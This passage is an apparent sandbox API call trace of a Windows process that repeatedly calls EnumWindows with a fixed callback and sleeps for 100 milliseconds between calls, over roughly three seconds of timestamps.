EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.414] Sleep (dwMilliseconds=0x64) [0267.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.475] Sleep (dwMilliseconds=0x64) [0267.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.479] Sleep (dwMilliseconds=0x64) [0267.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.480] Sleep (dwMilliseconds=0x64) [0267.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.496] Sleep (dwMilliseconds=0x64) [0267.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.519] Sleep (dwMilliseconds=0x64) [0267.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.634] Sleep (dwMilliseconds=0x64) [0267.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.643] Sleep (dwMilliseconds=0x64) [0267.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.644] Sleep (dwMilliseconds=0x64) [0267.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.646] Sleep (dwMilliseconds=0x64) [0267.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.649] Sleep (dwMilliseconds=0x64) [0267.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.650] Sleep (dwMilliseconds=0x64) [0267.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.652] Sleep (dwMilliseconds=0x64) [0267.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.653] Sleep (dwMilliseconds=0x64) [0267.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.655] Sleep (dwMilliseconds=0x64) [0267.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.656] Sleep (dwMilliseconds=0x64) [0267.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.658] Sleep (dwMilliseconds=0x64) [0267.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.659] Sleep (dwMilliseconds=0x64) [0267.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.662] Sleep (dwMilliseconds=0x64) [0267.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.663] Sleep (dwMilliseconds=0x64) [0267.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.666] Sleep (dwMilliseconds=0x64) [0267.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.668] Sleep (dwMilliseconds=0x64) [0267.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.669] Sleep (dwMilliseconds=0x64) [0267.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.671] Sleep (dwMilliseconds=0x64) [0267.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.673] Sleep (dwMilliseconds=0x64) [0267.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.675] Sleep (dwMilliseconds=0x64) [0267.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.678] Sleep (dwMilliseconds=0x64) [0267.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.680] Sleep (dwMilliseconds=0x64) [0267.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.681] Sleep (dwMilliseconds=0x64) [0267.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.683] Sleep (dwMilliseconds=0x64) [0267.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.685] Sleep (dwMilliseconds=0x64) [0267.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.686] Sleep (dwMilliseconds=0x64) [0267.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.688] Sleep (dwMilliseconds=0x64) [0267.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.690] Sleep (dwMilliseconds=0x64) [0267.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.692] Sleep (dwMilliseconds=0x64) [0267.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.693] Sleep (dwMilliseconds=0x64) [0267.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.695] Sleep (dwMilliseconds=0x64) [0267.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.697] Sleep (dwMilliseconds=0x64) [0267.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.699] Sleep (dwMilliseconds=0x64) [0267.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.700] Sleep (dwMilliseconds=0x64) [0267.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.702] Sleep (dwMilliseconds=0x64) [0267.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.704] Sleep (dwMilliseconds=0x64) [0267.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.705] Sleep (dwMilliseconds=0x64) [0267.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.709] Sleep (dwMilliseconds=0x64) [0267.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.711] Sleep (dwMilliseconds=0x64) [0267.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.713] Sleep (dwMilliseconds=0x64) [0267.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.715] Sleep (dwMilliseconds=0x64) [0267.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.716] Sleep (dwMilliseconds=0x64) [0267.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.718] Sleep (dwMilliseconds=0x64) [0267.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.720] Sleep (dwMilliseconds=0x64) [0267.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.722] Sleep (dwMilliseconds=0x64) [0267.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.725] Sleep (dwMilliseconds=0x64) [0267.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.726] Sleep (dwMilliseconds=0x64) [0267.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.728] Sleep (dwMilliseconds=0x64) [0267.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.730] Sleep (dwMilliseconds=0x64) [0267.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.732] Sleep (dwMilliseconds=0x64) [0267.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.733] Sleep (dwMilliseconds=0x64) [0267.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.772] Sleep (dwMilliseconds=0x64) [0267.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.793] Sleep (dwMilliseconds=0x64) [0267.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.795] Sleep (dwMilliseconds=0x64) [0267.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.798] Sleep (dwMilliseconds=0x64) [0267.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.800] Sleep (dwMilliseconds=0x64) [0267.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.804] Sleep (dwMilliseconds=0x64) [0267.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.806] Sleep (dwMilliseconds=0x64) [0267.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.807] Sleep (dwMilliseconds=0x64) [0267.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.809] Sleep (dwMilliseconds=0x64) [0267.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.811] Sleep (dwMilliseconds=0x64) [0267.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.812] Sleep (dwMilliseconds=0x64) [0267.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.814] Sleep (dwMilliseconds=0x64) [0267.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.826] Sleep (dwMilliseconds=0x64) [0267.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.934] Sleep (dwMilliseconds=0x64) [0267.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.936] Sleep (dwMilliseconds=0x64) [0267.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.938] Sleep (dwMilliseconds=0x64) [0267.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.940] Sleep (dwMilliseconds=0x64) [0267.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.943] Sleep (dwMilliseconds=0x64) [0267.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.944] Sleep (dwMilliseconds=0x64) [0267.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.948] Sleep (dwMilliseconds=0x64) [0267.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.950] Sleep (dwMilliseconds=0x64) [0267.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.952] Sleep (dwMilliseconds=0x64) [0267.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.954] Sleep (dwMilliseconds=0x64) [0267.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.956] Sleep (dwMilliseconds=0x64) [0267.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.958] Sleep (dwMilliseconds=0x64) [0267.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.960] Sleep (dwMilliseconds=0x64) [0267.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.962] Sleep (dwMilliseconds=0x64) [0267.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.964] Sleep (dwMilliseconds=0x64) [0268.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.076] Sleep (dwMilliseconds=0x64) [0268.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.078] Sleep (dwMilliseconds=0x64) [0268.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.080] Sleep (dwMilliseconds=0x64) [0268.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.241] Sleep (dwMilliseconds=0x64) [0268.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.243] Sleep (dwMilliseconds=0x64) [0268.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.245] Sleep (dwMilliseconds=0x64) [0268.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.247] Sleep (dwMilliseconds=0x64) [0268.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.249] Sleep (dwMilliseconds=0x64) [0268.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.251] Sleep (dwMilliseconds=0x64) [0268.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.257] Sleep (dwMilliseconds=0x64) [0268.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.259] Sleep (dwMilliseconds=0x64) [0268.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.261] Sleep (dwMilliseconds=0x64) [0268.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.263] Sleep (dwMilliseconds=0x64) [0268.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.265] Sleep (dwMilliseconds=0x64) [0268.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.267] Sleep (dwMilliseconds=0x64) [0268.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.269] Sleep (dwMilliseconds=0x64) [0268.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.271] Sleep (dwMilliseconds=0x64) [0268.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.501] Sleep (dwMilliseconds=0x64) [0268.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.502] Sleep (dwMilliseconds=0x64) [0268.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.504] Sleep (dwMilliseconds=0x64) [0268.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.506] Sleep (dwMilliseconds=0x64) [0268.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.508] Sleep (dwMilliseconds=0x64) [0268.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.511] Sleep (dwMilliseconds=0x64) [0268.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.512] Sleep (dwMilliseconds=0x64) [0268.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.514] Sleep (dwMilliseconds=0x64) [0268.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.516] Sleep (dwMilliseconds=0x64) [0268.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.518] Sleep (dwMilliseconds=0x64) [0268.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.519] Sleep (dwMilliseconds=0x64) [0268.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.521] Sleep (dwMilliseconds=0x64) [0268.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.523] Sleep (dwMilliseconds=0x64) [0268.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.525] Sleep (dwMilliseconds=0x64) [0268.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.528] Sleep (dwMilliseconds=0x64) [0268.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.529] Sleep (dwMilliseconds=0x64) [0268.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.532] Sleep (dwMilliseconds=0x64) [0268.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.643] Sleep (dwMilliseconds=0x64) [0268.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.645] Sleep (dwMilliseconds=0x64) [0268.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.647] Sleep (dwMilliseconds=0x64) [0268.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.649] Sleep (dwMilliseconds=0x64) [0268.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.653] Sleep (dwMilliseconds=0x64) [0268.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.655] Sleep (dwMilliseconds=0x64) [0268.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.657] Sleep (dwMilliseconds=0x64) [0268.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.660] Sleep (dwMilliseconds=0x64) [0268.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.662] Sleep (dwMilliseconds=0x64) [0268.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.663] Sleep (dwMilliseconds=0x64) [0268.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.665] Sleep (dwMilliseconds=0x64) [0268.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.666] Sleep (dwMilliseconds=0x64) [0268.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.667] Sleep (dwMilliseconds=0x64) [0268.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.669] Sleep (dwMilliseconds=0x64) [0268.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.671] Sleep (dwMilliseconds=0x64) [0268.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.672] Sleep (dwMilliseconds=0x64) [0268.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.696] Sleep (dwMilliseconds=0x64) [0268.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.780] Sleep (dwMilliseconds=0x64) [0268.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.782] Sleep (dwMilliseconds=0x64) [0268.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.784] Sleep (dwMilliseconds=0x64) [0268.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.785] Sleep (dwMilliseconds=0x64) [0268.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.787] Sleep (dwMilliseconds=0x64) [0268.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.788] Sleep (dwMilliseconds=0x64) [0268.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.790] Sleep (dwMilliseconds=0x64) [0268.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.791] Sleep (dwMilliseconds=0x64) [0268.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.793] Sleep (dwMilliseconds=0x64) [0268.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.794] Sleep (dwMilliseconds=0x64) [0268.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.805] Sleep (dwMilliseconds=0x64) [0268.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.814] Sleep (dwMilliseconds=0x64) [0268.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.932] Sleep (dwMilliseconds=0x64) [0268.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.933] Sleep (dwMilliseconds=0x64) [0268.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.935] Sleep (dwMilliseconds=0x64) [0268.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.937] Sleep (dwMilliseconds=0x64) [0268.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.938] Sleep (dwMilliseconds=0x64) [0268.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.940] Sleep (dwMilliseconds=0x64) [0268.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.942] Sleep (dwMilliseconds=0x64) [0268.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.944] Sleep (dwMilliseconds=0x64) [0268.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.947] Sleep (dwMilliseconds=0x64) [0268.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.949] Sleep (dwMilliseconds=0x64) [0268.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.951] Sleep (dwMilliseconds=0x64) [0268.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.953] Sleep (dwMilliseconds=0x64) [0268.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.955] Sleep (dwMilliseconds=0x64) [0268.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.957] Sleep (dwMilliseconds=0x64) [0268.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0268.959] Sleep (dwMilliseconds=0x64) [0269.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.033] Sleep (dwMilliseconds=0x64) [0269.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.086] Sleep (dwMilliseconds=0x64) [0269.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.089] Sleep (dwMilliseconds=0x64) [0269.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.095] Sleep (dwMilliseconds=0x64) [0269.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.097] Sleep (dwMilliseconds=0x64) [0269.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.098] Sleep (dwMilliseconds=0x64) [0269.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.100] Sleep (dwMilliseconds=0x64) [0269.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.101] Sleep (dwMilliseconds=0x64) [0269.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.103] Sleep (dwMilliseconds=0x64) [0269.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.104] Sleep (dwMilliseconds=0x64) [0269.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.106] Sleep (dwMilliseconds=0x64) [0269.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.107] Sleep (dwMilliseconds=0x64) [0269.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.109] Sleep (dwMilliseconds=0x64) [0269.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.111] Sleep (dwMilliseconds=0x64) [0269.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.112] Sleep (dwMilliseconds=0x64) [0269.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.114] Sleep (dwMilliseconds=0x64) [0269.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.115] Sleep (dwMilliseconds=0x64) [0269.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.223] Sleep (dwMilliseconds=0x64) [0269.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.225] Sleep (dwMilliseconds=0x64) [0269.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.226] Sleep (dwMilliseconds=0x64) [0269.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.228] Sleep (dwMilliseconds=0x64) [0269.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.229] Sleep (dwMilliseconds=0x64) [0269.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.231] Sleep (dwMilliseconds=0x64) [0269.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.232] Sleep (dwMilliseconds=0x64) [0269.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.234] Sleep (dwMilliseconds=0x64) [0269.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.235] Sleep (dwMilliseconds=0x64) [0269.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.237] Sleep (dwMilliseconds=0x64) [0269.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.238] Sleep (dwMilliseconds=0x64) [0269.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.240] Sleep (dwMilliseconds=0x64) [0269.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.241] Sleep (dwMilliseconds=0x64) [0269.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.243] Sleep (dwMilliseconds=0x64) [0269.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.305] Sleep (dwMilliseconds=0x64) [0269.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.428] Sleep (dwMilliseconds=0x64) [0269.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.591] Sleep (dwMilliseconds=0x64) [0269.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.594] Sleep (dwMilliseconds=0x64) [0269.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.596] Sleep (dwMilliseconds=0x64) [0269.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.597] Sleep (dwMilliseconds=0x64) [0269.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.599] Sleep (dwMilliseconds=0x64) [0269.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.600] Sleep (dwMilliseconds=0x64) [0269.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.602] Sleep (dwMilliseconds=0x64) [0269.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.692] Sleep (dwMilliseconds=0x64) [0269.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.847] Sleep (dwMilliseconds=0x64) [0269.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.850] Sleep (dwMilliseconds=0x64) [0269.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.852] Sleep (dwMilliseconds=0x64) [0269.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.853] Sleep (dwMilliseconds=0x64) [0269.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.855] Sleep (dwMilliseconds=0x64) [0269.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.857] Sleep (dwMilliseconds=0x64) [0269.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.858] Sleep (dwMilliseconds=0x64) [0269.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.860] Sleep (dwMilliseconds=0x64) [0269.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.862] Sleep (dwMilliseconds=0x64) [0269.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.865] Sleep (dwMilliseconds=0x64) [0269.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.866] Sleep (dwMilliseconds=0x64) [0269.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.869] Sleep (dwMilliseconds=0x64) [0269.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.871] Sleep (dwMilliseconds=0x64) [0269.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.873] Sleep (dwMilliseconds=0x64) [0269.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0269.889] Sleep (dwMilliseconds=0x64) [0270.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.004] Sleep (dwMilliseconds=0x64) [0270.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.015] Sleep (dwMilliseconds=0x64) [0270.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.016] Sleep (dwMilliseconds=0x64) [0270.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.021] Sleep (dwMilliseconds=0x64) [0270.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.022] Sleep (dwMilliseconds=0x64) [0270.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.041] Sleep (dwMilliseconds=0x64) [0270.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.079] Sleep (dwMilliseconds=0x64) [0270.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.159] Sleep (dwMilliseconds=0x64) [0270.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.161] Sleep (dwMilliseconds=0x64) [0270.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.163] Sleep (dwMilliseconds=0x64) [0270.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.164] Sleep (dwMilliseconds=0x64) [0270.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.166] Sleep (dwMilliseconds=0x64) [0270.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.167] Sleep (dwMilliseconds=0x64) [0270.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.169] Sleep (dwMilliseconds=0x64) [0270.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.171] Sleep (dwMilliseconds=0x64) [0270.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.173] Sleep (dwMilliseconds=0x64) [0270.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.175] Sleep (dwMilliseconds=0x64) [0270.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.176] Sleep (dwMilliseconds=0x64) [0270.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.178] Sleep (dwMilliseconds=0x64) [0270.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.179] Sleep (dwMilliseconds=0x64) [0270.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.181] Sleep (dwMilliseconds=0x64) [0270.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0270.182] Sleep (dwMilliseconds=0x64) [0270.183] EnumWindows 